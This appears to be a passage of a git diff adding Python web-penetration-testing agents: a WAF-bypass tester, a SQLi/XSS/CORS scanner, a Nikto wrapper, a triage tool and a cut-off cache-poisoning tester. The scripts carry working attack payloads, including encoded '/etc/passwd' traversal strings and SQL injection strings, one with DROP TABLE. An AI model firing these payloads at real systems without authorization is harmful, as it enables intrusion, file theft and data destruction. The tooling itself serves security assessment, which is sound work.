"concat_function": "1' OR CONCAT(0x31)=1--", + "hex_encoding": "1' OR 0x313d31--", + "scientific_notation": "1' OR 1e0=1e0--", + "buffer_overflow": "1' OR " + "A" * 5000 + " 1=1--", + "json_content_type": "1' OR '1'='1", + } + results = [] + for name, payload in payloads.items(): + headers = {"Content-Type": "application/json"} if name == "json_content_type" else {} + resp = self._send(payload, method="POST", headers=headers) + bypassed = not resp.get("blocked", True) and not resp.get("error") + if bypassed: + self.findings.append({"type": "SQLi WAF Bypass", "technique": name, + "severity": "Critical"}) + results.append({"technique": name, "blocked": resp.get("blocked"), + "status": resp.get("status")}) + return results + + def test_path_traversal_bypasses(self): + """Test path traversal WAF evasion.""" + payloads = { + "dot_dot_slash": "../../../etc/passwd", + "encoded_dots": "..%2f..%2f..%2fetc%2fpasswd", + "double_encoded": "..%252f..%252f..%252fetc%252fpasswd", + "utf8_encoding": "..%c0%af..%c0%afetc/passwd", + "backslash": "..\\..\\..\\etc\\passwd", + "null_byte_ext": "../../../etc/passwd%00.png", + } + results = [] + for name, payload in payloads.items(): + resp = self._send(payload, param="file") + bypassed = not resp.get("blocked", True) and not resp.get("error") + if bypassed: + self.findings.append({"type": "Path Traversal Bypass", + "technique": name, "severity": "High"}) + results.append({"technique": name, "blocked": resp.get("blocked"), + "status": resp.get("status")}) + return results + + def test_http_method_bypass(self): + """Test if WAF only inspects certain HTTP methods.""" + methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS", "HEAD"] + payload = "" + results = [] + for method in methods: + try: + resp = self.session.request(method, self.target_url, + params={"q": payload}, timeout=10) + results.append({"method": method, "status": resp.status_code, + "blocked": resp.status_code in (403, 406, 429)}) + except requests.RequestException: + results.append({"method": method, "error": "failed"}) + return results + + def generate_report(self): + report = { + "target": self.target_url, + "report_date": datetime.utcnow().isoformat(), + "total_bypasses": len(self.findings), + "findings": self.findings, + } + print(json.dumps(report, indent=2)) + return report + + +def main(): + url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/" + agent = WAFBypassAgent(url) + agent.test_encoding_bypasses() + agent.test_sqli_bypasses() + agent.test_path_traversal_bypasses() + agent.test_http_method_bypass() + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-web-application-penetration-test/LICENSE b/skills/performing-web-application-penetration-test/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-web-application-penetration-test/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-web-application-penetration-test/references/api-reference.md b/skills/performing-web-application-penetration-test/references/api-reference.md new file mode 100644 index 00000000..be7678dc --- /dev/null +++ b/skills/performing-web-application-penetration-test/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: Web Application Penetration Test Agent + +## Overview + +Performs automated web application security testing: technology fingerprinting, security header checks, HTTP method testing, CORS misconfiguration detection, basic SQL injection, and reflected XSS testing. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| requests | >= 2.28 | HTTP client for all web tests | + +## External Tools (Optional) + +| Tool | Purpose | +|------|---------| +| ffuf | Directory and file brute-forcing | + +## Core Functions + +### `fingerprint_technology(target_url)` +Identifies server, framework, and language from headers and cookie names. +- **Returns**: `dict` with `server` and `technologies` list + +### `check_security_headers(target_url)` +Checks HSTS, CSP, X-Content-Type-Options, X-Frame-Options, X-XSS-Protection, Referrer-Policy, Permissions-Policy. +- **Returns**: `dict[str, dict]` - header to presence/value mapping + +### `test_http_methods(target_url)` +Tests for dangerous HTTP methods (PUT, DELETE, TRACE, CONNECT). +- **Returns**: `list[dict]` - allowed dangerous methods with risk levels + +### `test_cors_config(target_url)` +Tests CORS with evil origins, null origin, and subdomain spoofing. +- **Returns**: `list[dict]` - reflected origins with credential risks + +### `run_directory_bruteforce(target_url, wordlist)` +Subprocess wrapper for ffuf directory enumeration. +- **Default wordlist**: `/usr/share/seclists/Discovery/Web-Content/common.txt` + +### `test_sql_injection_basic(target_url, params)` +Tests URL parameters with SQL injection payloads and checks for database error strings. +- **Risk**: CRITICAL when SQL error patterns detected + +### `test_xss_basic(target_url, params)` +Tests for reflected XSS by checking if payloads appear unescaped in response body. +- **Risk**: HIGH when payload is reflected + +### `run_assessment(target_url, test_params)` +Full assessment pipeline with summary statistics. + +## OWASP Test Coverage + +| OWASP Category | Tests Performed | +|----------------|----------------| +| A01 Broken Access Control | CORS, HTTP methods | +| A03 Injection | SQL injection, XSS | +| A05 Security Misconfiguration | Security headers, HTTP methods | + +## Usage + +```bash +python agent.py https://target-app.example.com +``` diff --git a/skills/performing-web-application-penetration-test/scripts/agent.py b/skills/performing-web-application-penetration-test/scripts/agent.py new file mode 100644 index 00000000..31ce0e29 --- /dev/null +++ b/skills/performing-web-application-penetration-test/scripts/agent.py @@ -0,0 +1,245 @@ +#!/usr/bin/env python3 +"""Web application penetration test agent using requests and subprocess.""" + +import subprocess +import sys +import re +import json +import os +from urllib.parse import urlparse, urljoin + +try: + import requests + from requests.exceptions import RequestException +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +def fingerprint_technology(target_url): + """Identify technology stack from response headers and cookies.""" + try: + resp = requests.get(target_url, timeout=10, verify=False, allow_redirects=True) + except RequestException as e: + return {"error": str(e)} + headers = dict(resp.headers) + tech = {"server": headers.get("Server", "Unknown"), "technologies": []} + if "X-Powered-By" in headers: + tech["technologies"].append(headers["X-Powered-By"]) + cookies = resp.cookies.get_dict() + cookie_tech = { + "JSESSIONID": "Java", "PHPSESSID": "PHP", + "ASP.NET_SessionId": "ASP.NET", "csrftoken": "Django", + "laravel_session": "Laravel", "_rails_session": "Ruby on Rails", + } + for cookie_name, framework in cookie_tech.items(): + if cookie_name in cookies: + tech["technologies"].append(framework) + return tech + + +def check_security_headers(target_url): + """Check for presence of security headers.""" + try: + resp = requests.get(target_url, timeout=10, verify=False) + except RequestException as e: + return {"error": str(e)} + required_headers = { + "Strict-Transport-Security": "HSTS", + "Content-Security-Policy": "CSP", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "Clickjacking protection", + "X-XSS-Protection": "XSS filter", + "Referrer-Policy": "Referrer control", + "Permissions-Policy": "Feature policy", + } + results = {} + for header, desc in required_headers.items(): + value = resp.headers.get(header) + results[header] = { + "present": value is not None, + "value": value, + "description": desc, + } + return results + + +def test_http_methods(target_url): + """Test for dangerous HTTP methods.""" + dangerous = ["PUT", "DELETE", "TRACE", "CONNECT"] + results = [] + for method in dangerous: + try: + resp = requests.request(method, target_url, timeout=5, verify=False) + if resp.status_code not in (405, 501): + results.append({ + "method": method, "status": resp.status_code, + "risk": "HIGH" if method in ("PUT", "DELETE") else "MEDIUM", + }) + except RequestException: + pass + try: + resp = requests.options(target_url, timeout=5, verify=False) + allow = resp.headers.get("Allow", "") + results.append({"method": "OPTIONS", "allow_header": allow}) + except RequestException: + pass + return results + + +def test_cors_config(target_url): + """Test CORS configuration for misconfigurations.""" + tests = [] + origins = [ + "https://evil.com", + "null", + urlparse(target_url).scheme + "://" + urlparse(target_url).hostname + ".evil.com", + ] + for origin in origins: + try: + resp = requests.get( + target_url, headers={"Origin": origin}, + timeout=5, verify=False + ) + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "") + if acao == origin or acao == "*": + tests.append({ + "origin": origin, "reflected": True, + "allow_credentials": acac.lower() == "true", + "risk": "HIGH" if acac.lower() == "true" else "MEDIUM", + }) + except RequestException: + pass + return tests + + +def run_directory_bruteforce(target_url, wordlist=None): + """Run directory enumeration using ffuf if available.""" + if wordlist is None: + wordlist = "/usr/share/seclists/Discovery/Web-Content/common.txt" + if not os.path.exists(wordlist): + return {"error": f"Wordlist not found: {wordlist}"} + try: + result = subprocess.run( + ["ffuf", "-w", wordlist, "-u", f"{target_url}/FUZZ", + "-mc", "200,301,302,403", "-t", "20", "-o", "/tmp/ffuf_output.json", + "-of", "json", "-s"], + capture_output=True, text=True, timeout=120 + ) + if os.path.exists("/tmp/ffuf_output.json"): + with open("/tmp/ffuf_output.json") as f: + return json.load(f) + return {"stdout": result.stdout[:1000]} + except FileNotFoundError: + return {"error": "ffuf not installed"} + except subprocess.TimeoutExpired: + return {"error": "ffuf timeout"} + + +def test_sql_injection_basic(target_url, params): + """Test for basic SQL injection indicators.""" + payloads = ["'", "' OR '1'='1", "1 OR 1=1--", "'; DROP TABLE--"] + sql_errors = [ + "sql syntax", "mysql", "sqlite", "postgresql", "ora-", + "microsoft ole db", "unclosed quotation", "syntax error", + ] + findings = [] + for param_name in params: + for payload in payloads: + test_params = {param_name: payload} + try: + resp = requests.get(target_url, params=test_params, timeout=10, verify=False) + body_lower = resp.text.lower() + for err in sql_errors: + if err in body_lower: + findings.append({ + "parameter": param_name, "payload": payload, + "error_pattern": err, "status": resp.status_code, + "risk": "CRITICAL", + }) + break + except RequestException: + pass + return findings + + +def test_xss_basic(target_url, params): + """Test for basic reflected XSS.""" + payloads = [ + '', + '">', + "'-alert(1)-'", + ] + findings = [] + for param_name in params: + for payload in payloads: + try: + resp = requests.get( + target_url, params={param_name: payload}, + timeout=10, verify=False + ) + if payload in resp.text: + findings.append({ + "parameter": param_name, "payload": payload, + "reflected": True, "risk": "HIGH", + }) + except RequestException: + pass + return findings + + +def run_assessment(target_url, test_params=None): + """Run web application security assessment.""" + if test_params is None: + test_params = ["id", "q", "search", "page", "user"] + report = { + "target": target_url, + "technology": fingerprint_technology(target_url), + "security_headers": check_security_headers(target_url), + "http_methods": test_http_methods(target_url), + "cors": test_cors_config(target_url), + "sqli_findings": test_sql_injection_basic(target_url, test_params), + "xss_findings": test_xss_basic(target_url, test_params), + } + missing_headers = [ + h for h, v in report["security_headers"].items() + if isinstance(v, dict) and not v.get("present", True) + ] + report["summary"] = { + "missing_security_headers": len(missing_headers), + "dangerous_methods": len(report["http_methods"]), + "cors_issues": len(report["cors"]), + "sqli_findings": len(report["sqli_findings"]), + "xss_findings": len(report["xss_findings"]), + } + return report + + +def print_report(report): + print("Web Application Penetration Test Report") + print("=" * 50) + print(f"Target: {report['target']}") + tech = report["technology"] + print(f"Server: {tech.get('server', 'Unknown')}") + if tech.get("technologies"): + print(f"Stack: {', '.join(tech['technologies'])}") + print("\nSecurity Headers:") + for h, v in report["security_headers"].items(): + if isinstance(v, dict): + status = "PRESENT" if v.get("present") else "MISSING" + print(f" {h}: {status}") + if report["sqli_findings"]: + print(f"\nSQL Injection: {len(report['sqli_findings'])} finding(s)") + for f in report["sqli_findings"]: + print(f" [{f['risk']}] {f['parameter']}: {f['error_pattern']}") + if report["xss_findings"]: + print(f"\nXSS: {len(report['xss_findings'])} finding(s)") + for f in report["xss_findings"]: + print(f" [{f['risk']}] {f['parameter']}: reflected") + + +if __name__ == "__main__": + target = sys.argv[1] if len(sys.argv) > 1 else "http://example.com" + result = run_assessment(target) + print_report(result) diff --git a/skills/performing-web-application-scanning-with-nikto/LICENSE b/skills/performing-web-application-scanning-with-nikto/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-web-application-scanning-with-nikto/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-web-application-scanning-with-nikto/references/api-reference.md b/skills/performing-web-application-scanning-with-nikto/references/api-reference.md new file mode 100644 index 00000000..4ac3097a --- /dev/null +++ b/skills/performing-web-application-scanning-with-nikto/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Web Application Scanning with Nikto + +## Nikto CLI Options + +| Flag | Description | +|------|-------------| +| `-h ` | Target hostname or IP | +| `-port ` | Target ports (comma-separated) | +| `-ssl` | Force SSL/TLS connection | +| `-Format xml\|json\|csv\|htm` | Output format | +| `-output ` | Save results to file | +| `-Tuning ` | Scan tuning categories | +| `-Plugins ` | Specific plugins to run | +| `-maxtime s` | Maximum scan duration | +| `-nointeractive` | Disable interactive prompts | +| `-useproxy ` | Use HTTP proxy | +| `-id ` | HTTP Basic auth credentials | + +## Tuning Categories + +| Code | Category | +|------|----------| +| 1 | Interesting File / Seen in logs | +| 2 | Misconfiguration / Default File | +| 3 | Information Disclosure | +| 4 | Injection (XSS/Script/HTML) | +| 5 | Remote File Retrieval - Inside Web Root | +| 6 | Denial of Service | +| 7 | Remote File Retrieval - Server Wide | +| 8 | Command Execution / Remote Shell | +| 9 | SQL Injection | +| 0 | File Upload | + +## XML Output Structure + +| Element | Description | +|---------|-------------| +| `` | Root element | +| `` | Scan metadata | +| `` | Individual finding | +| `` | Finding with OSVDB reference | +| `` | Affected URI path | +| `` | Finding description | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute Nikto CLI | +| `xml.etree.ElementTree` | stdlib | Parse Nikto XML output | +| `json` | stdlib | Report generation | + +## References + +- Nikto GitHub: https://github.com/sullo/nikto +- Nikto Documentation: https://cirt.net/Nikto2 +- OSVDB (archived): https://vulndb.cyberriskanalytics.com/ diff --git a/skills/performing-web-application-scanning-with-nikto/scripts/agent.py b/skills/performing-web-application-scanning-with-nikto/scripts/agent.py new file mode 100644 index 00000000..1e54a18b --- /dev/null +++ b/skills/performing-web-application-scanning-with-nikto/scripts/agent.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Agent for web application scanning with Nikto. + +Runs Nikto via subprocess for web server vulnerability scanning, +parses XML/JSON output, classifies findings by OSVDB/CVE, and +generates a structured security assessment report. +""" + +import subprocess +import json +import sys +import xml.etree.ElementTree as ET +from datetime import datetime +from pathlib import Path + + +class NiktoScanAgent: + """Automates Nikto web vulnerability scanning and reporting.""" + + def __init__(self, target, output_dir="./nikto_scans"): + self.target = target + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def run_scan(self, ports="80,443", tuning=None, plugins=None, + ssl_mode=False, timeout=600): + """Execute Nikto scan against the target.""" + xml_output = self.output_dir / f"nikto_{self.target.replace('/', '_')}.xml" + cmd = ["nikto", "-h", self.target, "-port", ports, + "-Format", "xml", "-output", str(xml_output), "-nointeractive"] + if ssl_mode: + cmd.extend(["-ssl"]) + if tuning: + cmd.extend(["-Tuning", tuning]) + if plugins: + cmd.extend(["-Plugins", plugins]) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=timeout) + return {"return_code": result.returncode, + "xml_output": str(xml_output), + "stderr": result.stderr[:500] if result.stderr else ""} + except FileNotFoundError: + return {"error": "nikto not installed. Install: apt install nikto"} + except subprocess.TimeoutExpired: + return {"error": f"Scan timed out after {timeout}s"} + + def parse_xml_results(self, xml_path=None): + """Parse Nikto XML output into structured findings.""" + if xml_path is None: + xml_path = self.output_dir / f"nikto_{self.target.replace('/', '_')}.xml" + try: + tree = ET.parse(xml_path) + root = tree.getroot() + except (ET.ParseError, FileNotFoundError) as exc: + return {"error": str(exc)} + + for item in root.iter("item"): + finding = { + "id": item.get("id", ""), + "osvdb": item.get("osvdbid", ""), + "method": item.get("method", "GET"), + "uri": "", + "description": "", + "references": [], + } + uri_elem = item.find("uri") + if uri_elem is not None: + finding["uri"] = uri_elem.text or "" + desc_elem = item.find("description") + if desc_elem is not None: + finding["description"] = desc_elem.text or "" + + desc_lower = finding["description"].lower() + if any(kw in desc_lower for kw in ["remote code", "rce", "command injection"]): + finding["severity"] = "Critical" + elif any(kw in desc_lower for kw in ["sql injection", "xss", "file inclusion"]): + finding["severity"] = "High" + elif any(kw in desc_lower for kw in ["directory listing", "information disclosure"]): + finding["severity"] = "Medium" + else: + finding["severity"] = "Low" + + self.findings.append(finding) + return self.findings + + def run_quick_scan(self, timeout=300): + """Run a fast Nikto scan with essential checks only.""" + cmd = ["nikto", "-h", self.target, "-Tuning", "123", "-maxtime", + str(timeout) + "s", "-nointeractive"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=timeout + 30) + lines = result.stdout.splitlines() + for line in lines: + if "+ " in line and "OSVDB" in line: + self.findings.append({ + "description": line.strip().lstrip("+ "), + "severity": "Medium", "source": "stdout", + }) + return {"lines": len(lines), "findings": len(self.findings)} + except (FileNotFoundError, subprocess.TimeoutExpired) as exc: + return {"error": str(exc)} + + def generate_report(self): + """Generate scan report with severity distribution.""" + severity_counts = {} + for f in self.findings: + sev = f.get("severity", "Info") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + report = { + "target": self.target, + "scan_date": datetime.utcnow().isoformat(), + "total_findings": len(self.findings), + "severity_distribution": severity_counts, + "findings": self.findings[:100], + } + report_path = self.output_dir / "nikto_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost" + agent = NiktoScanAgent(target) + result = agent.run_scan() + if "error" not in result: + agent.parse_xml_results() + else: + agent.run_quick_scan() + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-web-application-vulnerability-triage/LICENSE b/skills/performing-web-application-vulnerability-triage/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-web-application-vulnerability-triage/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-web-application-vulnerability-triage/scripts/agent.py b/skills/performing-web-application-vulnerability-triage/scripts/agent.py new file mode 100644 index 00000000..514aabfa --- /dev/null +++ b/skills/performing-web-application-vulnerability-triage/scripts/agent.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python3 +"""Agent for web application vulnerability triage. + +Ingests scan results from multiple scanners (Nikto, ZAP, Burp), +deduplicates findings, prioritizes by CVSS and exploitability, +assigns SLA deadlines, and generates a triage report. +""" + +import json +import sys +from datetime import datetime, timedelta +from collections import defaultdict + + +SLA_DAYS = {"Critical": 7, "High": 30, "Medium": 90, "Low": 180, "Info": 365} + +CVSS_SEVERITY = { + (9.0, 10.0): "Critical", (7.0, 8.9): "High", + (4.0, 6.9): "Medium", (0.1, 3.9): "Low", (0.0, 0.0): "Info", +} + + +class VulnTriageAgent: + """Triages web application vulnerability scan results.""" + + def __init__(self): + self.findings = [] + self.triaged = [] + + def ingest_json_report(self, filepath, scanner_name="unknown"): + """Load findings from a JSON scan report.""" + with open(filepath) as f: + data = json.load(f) + items = data if isinstance(data, list) else data.get("findings", data.get("alerts", [])) + for item in items: + self.findings.append({ + "title": item.get("title", item.get("name", item.get("description", "")[:80])), + "severity": item.get("severity", item.get("risk", "Medium")), + "cvss": item.get("cvss", item.get("cvss_score", 0)), + "url": item.get("url", item.get("uri", "")), + "parameter": item.get("parameter", item.get("param", "")), + "description": item.get("description", "")[:500], + "cwe": item.get("cwe", item.get("cweid", "")), + "scanner": scanner_name, + }) + return len(items) + + def deduplicate(self): + """Remove duplicate findings based on title + URL + parameter.""" + seen = set() + unique = [] + for f in self.findings: + key = (f["title"].lower(), f["url"], f["parameter"]) + if key not in seen: + seen.add(key) + unique.append(f) + self.findings = unique + return len(unique) + + def classify_severity(self, cvss_score): + for (low, high), severity in CVSS_SEVERITY.items(): + if low <= cvss_score <= high: + return severity + return "Medium" + + def prioritize(self): + """Score and prioritize findings for remediation.""" + now = datetime.utcnow() + for f in self.findings: + severity = f.get("severity", "Medium") + if severity not in SLA_DAYS: + severity = self.classify_severity(float(f.get("cvss", 0))) + f["severity"] = severity + + sla_days = SLA_DAYS.get(severity, 90) + f["sla_deadline"] = (now + timedelta(days=sla_days)).isoformat() + f["sla_days"] = sla_days + + priority_score = float(f.get("cvss", 0)) * 10 + if f.get("parameter"): + priority_score += 5 + if "injection" in f.get("title", "").lower(): + priority_score += 10 + if "authentication" in f.get("title", "").lower(): + priority_score += 8 + f["priority_score"] = round(priority_score, 1) + + self.triaged = sorted(self.findings, key=lambda x: x["priority_score"], reverse=True) + return self.triaged + + def generate_report(self): + self.deduplicate() + self.prioritize() + severity_dist = defaultdict(int) + for f in self.triaged: + severity_dist[f["severity"]] += 1 + + report = { + "report_date": datetime.utcnow().isoformat(), + "total_findings": len(self.triaged), + "severity_distribution": dict(severity_dist), + "top_priority": self.triaged[:20], + } + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + agent = VulnTriageAgent() + for filepath in sys.argv[1:]: + agent.ingest_json_report(filepath, scanner_name=filepath) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-web-cache-deception-attack/LICENSE b/skills/performing-web-cache-deception-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-web-cache-deception-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-web-cache-poisoning-attack/LICENSE b/skills/performing-web-cache-poisoning-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-web-cache-poisoning-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-web-cache-poisoning-attack/references/api-reference.md b/skills/performing-web-cache-poisoning-attack/references/api-reference.md new file mode 100644 index 00000000..23a26c1b --- /dev/null +++ b/skills/performing-web-cache-poisoning-attack/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Web Cache Poisoning Attack Agent + +## Overview + +Tests web applications for cache poisoning vulnerabilities by identifying CDN infrastructure, testing unkeyed headers for reflection and caching, and checking for cache deception paths. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| requests | >= 2.28 | HTTP requests with custom headers | + +## Core Functions + +### `identify_cache_layer(target_url)` +Detects caching infrastructure (Cloudflare, Varnish, Akamai, Fastly, CloudFront) from response headers. +- **Returns**: `dict` with `cdn_detected`, cache headers + +### `test_cache_hit_miss(target_url)` +Sends 3 sequential requests with cache buster to observe HIT/MISS progression. +- **Returns**: `dict` with per-request cache status + +### `test_unkeyed_headers(target_url)` +Tests 10 common unkeyed headers (X-Forwarded-Host, X-Original-URL, etc.) for reflection and cache poisoning. +- **Process**: Send header -> check reflection -> re-request without header -> verify cached poison +- **Returns**: `list[dict]` with `reflected`, `cached_poison`, `risk` + +### `test_cache_key_normalization(target_url)` +Tests cache key handling for extra parameters, fragments, and trailing slashes. +- **Returns**: `list[dict]` - variation test results + +### `test_cache_deception(target_url)` +Tests web cache deception by requesting authenticated pages with static file extensions (.css, .js, .png). +- **Returns**: `list[dict]` - cached sensitive endpoints + +### `run_assessment(target_url)` +Full assessment pipeline with summary statistics. + +## Unkeyed Headers Tested + +| Header | Attack Vector | +|--------|--------------| +| X-Forwarded-Host | Host override for poisoning links/redirects | +| X-Forwarded-Scheme | HTTPS downgrade to HTTP | +| X-Original-URL | Path override (Nginx/IIS) | +| X-Rewrite-URL | Path override | +| X-Host | Alternative host injection | +| X-Forwarded-Port | Port injection | + +## Risk Levels + +| Level | Criteria | +|-------|----------| +| CRITICAL | Header reflected AND cached (full cache poison) | +| HIGH | Header reflected but not confirmed cached | + +## Usage + +```bash +python agent.py https://target.example.com +``` diff --git a/skills/performing-web-cache-poisoning-attack/scripts/agent.py b/skills/performing-web-cache-poisoning-attack/scripts/agent.py new file mode 100644 index 00000000..b12385bf --- /dev/null +++ b/skills/performing-web-cache-poisoning-attack/scripts/agent.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +"""Web cache poisoning assessment agent using requests and subprocess.""" + +import sys +import json +import hashlib +import time +import random +import string + +try: + import requests + from requests.exceptions import RequestException +except ImportError: + print("Install: pip install requests") + sys.exit(1) + + +def generate_cache_buster(): + """Generate a unique cache buster parameter.""" + return "cb" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8)) + + +def identify_cache_layer(target_url): + """Identify caching infrastructure from response headers.""" + try: + resp = requests.get(target_url, timeout=10, verify=False) + except RequestException as e: + return {"error": str(e)} + headers = dict(resp.headers) + cache_info = { + "url": target_url, + "cache_control": headers.get("Cache-Control", ""), + "x_cache": headers.get("X-Cache", ""), + "cf_cache_status": headers.get("CF-Cache-Status", ""), + "age": headers.get("Age", ""), + "vary": headers.get("Vary", ""), + "x_varnish": headers.get("X-Varnish", ""), + "via": headers.get("Via", ""), + "x_served_by": headers.get("X-Served-By", ""), + "cdn_detected": None, + } + header_text = json.dumps(headers).lower() + if "cloudflare" in header_text or cache_info["cf_cache_status"]: + cache_info["cdn_detected"] = "Cloudflare" + elif "varnish" in header_text: + cache_info["cdn_detected"] = "Varnish" + elif "akamai" in header_text: + cache_info["cdn_detected"] = "Akamai" + elif "fastly" in header_text: + cache_info["cdn_detected"] = "Fastly" + elif "x-amz" in header_text: + cache_info["cdn_detected"] = "AWS CloudFront" + return cache_info + + +def test_cache_hit_miss(target_url): + """Determine if responses are being cached by comparing repeated requests.""" + cb = generate_cache_buster() + test_url = f"{target_url}?{cb}=1" + results = [] + for i in 